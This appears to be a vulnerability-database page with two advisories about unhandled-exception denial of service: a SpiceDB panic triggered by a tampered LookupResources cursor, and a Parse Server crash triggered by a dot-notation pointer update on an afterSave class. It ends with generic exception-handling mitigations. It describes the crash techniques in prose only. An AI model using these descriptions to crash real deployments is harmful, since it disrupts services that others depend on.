The SpiceDB process does not validate the contents of this Sections component of the Cursor message. In affected versions, it uses a parsing function that calls panic if the value cannot be parsed as a relationship.
Fix
This issue was fixed in https://github.com/authzed/spicedb/pull/2878.
Remediations
- Prevent client control of the
optional_cursorfield inLookupResourcescalls - Upgrade to an unaffected version
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/authzed/spicedb"
},
"ranges": [
{
"events": [
{
"introduced": "1.29.3"
},
{
"fixed": "1.49.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-06T22:30:52Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Description\nA malformed or tampered-with LookupResources [Cursor token](https://buf.build/authzed/api/docs/main:authzed.api.v1#authzed.api.v1.Cursor) can cause a panic in the SpiceDB process if it fails to parse. If an attacker were able to make requests to a SpiceDB instance, they could affect its availability.\n\n## Reproduction\nIf one was to take a cursor from a LookupResources call, decode it according to the logic that SpiceDB uses, and modify the Sections field to include an invalid relationship string, the process will panic.\n\n## Impact\nAn attacker would need both the ability to create a gRPC connection to your SpiceDB instance and a valid token, or else the ability to pass a cursor token from outside your application through to your SpiceDB instance.\n\nIf an attacker had this ability, they could bring down SpiceDB instances, reducing the availability of SpiceDB and any service that depends on it.\n\n## Mechanism\nThe SpiceDB process does not validate the contents of this `Sections` component of the `Cursor` message. In affected versions, it uses a parsing function that calls `panic` if the value cannot be parsed as a relationship. \n\n## Fix\nThis issue was fixed in https://github.com/authzed/spicedb/pull/2878.\n\n## Remediations\n* Prevent client control of the `optional_cursor` field in `LookupResources` calls\n* Upgrade to an unaffected version",
"id": "GHSA-vhvq-fv9f-wh4q",
"modified": "2026-02-06T22:30:52Z",
"published": "2026-02-06T22:30:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authzed/spicedb/security/advisories/GHSA-vhvq-fv9f-wh4q"
},
{
"type": "WEB",
"url": "https://github.com/authzed/spicedb/pull/2878"
},
{
"type": "WEB",
"url": "https://github.com/authzed/spicedb/commit/fa1d7f48107e0c6c35e6a7862aa983366e70208f"
},
{
"type": "PACKAGE",
"url": "https://github.com/authzed/spicedb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "LookupResources Cursor section tampering can crash SpiceDB process via tuple.MustParse panic"
}
GHSA-VP2C-FV9G-PC39
Vulnerability from github – Published: 2026-11-03 15:32 – Updated: 2026-11-03 15:32Parse Server before 8.6.110 and 9.0.0 before 9.10.6-alpha.2 fails to contain a serialization error when an object update uses a dot notation key targeting a pointer field's object identifier on a class with an afterSave trigger. Attackers, including unauthenticated clients when objects are writable without a session, can send such an update to crash the Node process.
{
"affected": [],
"aliases": [
"CVE-2026-121414"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-03T15:17:30Z",
"severity": "HIGH"
},
"details": "Parse Server before 8.6.110 and 9.0.0 before 9.10.6-alpha.2 fails to contain a serialization error when an object update uses a dot notation key targeting a pointer field\u0027s object identifier on a class with an afterSave trigger. Attackers, including unauthenticated clients when objects are writable without a session, can send such an update to crash the Node process.",
"id": "GHSA-vp2c-fv9g-pc39",
"modified": "2026-11-03T15:32:06Z",
"published": "2026-11-03T15:32:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-wc3c-6843-q7mv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-121414"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/pull/10802"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/pull/10803"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/parse-server-before-8.6.110-and-9.0.0-before-9.10.6-alpha.2-denial-of-service-via-aftersave-pointer-update"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
The choice between a language which has named or unnamed exceptions needs to be done. While unnamed exceptions exacerbate the chance of not properly dealing with an exception, named exceptions suffer from the up call version of the weak base class problem.
Mitigation
A language can be used which requires, at compile time, to catch all serious exceptions. However, one must make sure to use the most current version of the API as new exceptions could be added.
Mitigation
Catch all relevant exceptions. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.
No CAPEC attack patterns related to this CWE.